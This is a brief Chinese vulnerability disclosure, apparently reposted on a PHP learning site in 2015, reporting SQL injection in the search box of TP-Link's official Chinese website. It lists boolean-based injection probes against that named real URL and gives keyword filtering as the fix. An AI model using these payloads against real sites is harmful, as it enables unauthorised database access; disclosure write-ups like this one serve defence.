Tp-Link官方网站一个搜索框post注入及修复

Tp-Link官方网站一个搜索框post注入及修复 - 网站安

来源：自学PHP网时间：2015-04-17 13:03 作者：阅读:次

[导读] http://www.tp-link.com.cn/pages/default.asp搜索框注入，输入#39; and 1=1 and #39;%#39;=#39; 返回所以结果#39; and 1=2 and #39;%#39;=#39; 无返回结果#39; and exists (select * f......

http://www.tp-link.com.cn/pages/default.asp

搜索框注入，输入
' and 1=1 and '%'=' 返回所以结果
' and 1=2 and '%'=' 无返回结果
' and exists (select * from sysobjects) and '%'=' 返回正常

修复方案：

过滤sql关键字

作者小亚

天天团购网SQL注射 - 网站安全 - 自学php

HDWiki 5.1 任意用户密码修改漏洞及修复 - 网站安全

子栏目

Tp-Link官方网站一个搜索框post注入及修复 - 网站安

最新评论

添加评论

更多文章推荐

添加评论